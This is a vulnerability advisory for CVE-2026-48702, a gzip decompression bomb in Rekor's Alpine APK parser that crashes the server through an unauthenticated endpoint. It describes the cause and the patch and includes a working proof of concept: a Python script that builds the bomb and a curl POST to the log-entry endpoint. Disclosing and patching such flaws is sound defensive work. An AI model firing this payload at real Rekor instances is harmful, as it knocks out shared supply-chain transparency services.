high · 7.5CVE-2026-48702Jun 25, 2026

CVE-2026-48702: Rekor Alpine APK Gzip Decompression Bomb (OOM DoS)

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Rekor's Alpine APK parser decompresses gzip members into memory without a size cap, so an attacker can crash the transparency-log server with a tiny compressed upload that expands to gigabytes.

Packagegithub.com/sigstore/rekor
Ecosystemgo
Affected>= 0.3.0, < 1.5.2
Fixed in1.5.2
CVE-2026-48702: Rekor Alpine APK Gzip Decompression Bomb (OOM DoS)

The problem

The Package.Unmarshal() function in pkg/types/alpine/apk.go calls gzip.NewReader() on the .SIGN.* (signature) and control members of an APK file, then reads the result with io.ReadAll() and no upper bound on decompressed bytes.

The existing max_apk_metadata_size guard is applied to individual tar-entry headers only after full decompression, so a gzip stream compressed at ~1000:1 ratio exhausts heap memory before the check runs. The crash is a fatal Go runtime OOM that cannot be caught by the server's recover() middleware.

Two unauthenticated endpoints trigger the path: POST /api/v1/log/entries (createLogEntry) and POST /api/v1/log/entries/retrieve (searchLogQuery). Both call V001Entry.Canonicalize() then fetchExternalEntities() then apk.Unmarshal(packageData).

Proof of concept

A working proof-of-concept for CVE-2026-48702 in github.com/sigstore/rekor, with the exact payload below.

bash
# Generate ~2 GB of zeros, compress to ~2 MB, embed as the .SIGN member of a fake APK,
# then POST to the unauthenticated createLogEntry endpoint.

# Step 1: build the gzip bomb segment
python3 - <<'EOF'
import gzip, io, struct, tarfile, base64, json

# 2 GB of zeros compressed
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as gz:
    # write 2 GB in 1 MB chunks
    chunk = b'\x00' * (1024 * 1024)
    for _ in range(2048):
        gz.write(chunk)
bomb_gz = buf.getvalue()   # ~2 MB on disk

# Step 2: wrap in a .tar stream (mimics .SIGN.RSA.<hash>.pub member)
tar_buf = io.BytesIO()
with tarfile.open(fileobj=tar_buf, mode='w') as tar:
    info = tarfile.TarInfo(name='.SIGN.RSA.pubkey.pub')
    info.size = len(bomb_gz)
    tar.addfile(info, io.BytesIO(bomb_gz))
apk_bytes = tar_buf.getvalue()

# Step 3: base64-encode for JSON body
print(base64.b64encode(apk_bytes).decode())
EOF

# Step 4: POST to Rekor (replace $B64 with output above)
curl -s -X POST https://<rekor-host>/api/v1/log/entries \
  -H 'Content-Type: application/json' \
  -d '{
    "kind": "alpine",
    "apiVersion": "0.0.1",
    "spec": {
      "package": {
        "content": "'$B64'"
      },
      "publicKey": {
        "content": "LS0tLS1CRUdJTi..."
      }
    }
  }'

The root cause is CWE-770: no throttle on the output side of gzip.NewReader(). The prior fix (CVE-2023-30551, v1.1.1, commit cf42ace) added a size check on tar-entry headers but left the raw gzip decompression call unbounded for the outer APK members. The 1.5.2 patch wraps each gzip.NewReader(member) call with io.LimitReader(gz, maxApkMetadataSize+1) before passing it to io.ReadAll(), so decompression stops at the configured limit regardless of the stream's advertised uncompressed size.

Because the Go OOM is fatal (the runtime calls throw, not panic), the server's recover() middleware cannot catch it, making this a reliable one-shot kill against any Rekor instance running an affected version.

The fix

Upgrade to rekor v1.5.2 or later. The patch wraps every gzip member reader with io.LimitReader before io.ReadAll, bounding heap allocation to max_apk_metadata_size (default 1 MB). There is no effective server-side workaround in affected versions: max_request_body_size reduces but does not eliminate exposure at a ~1000:1 compression ratio.

Reporter not attributed.

References: [1][2]

Related research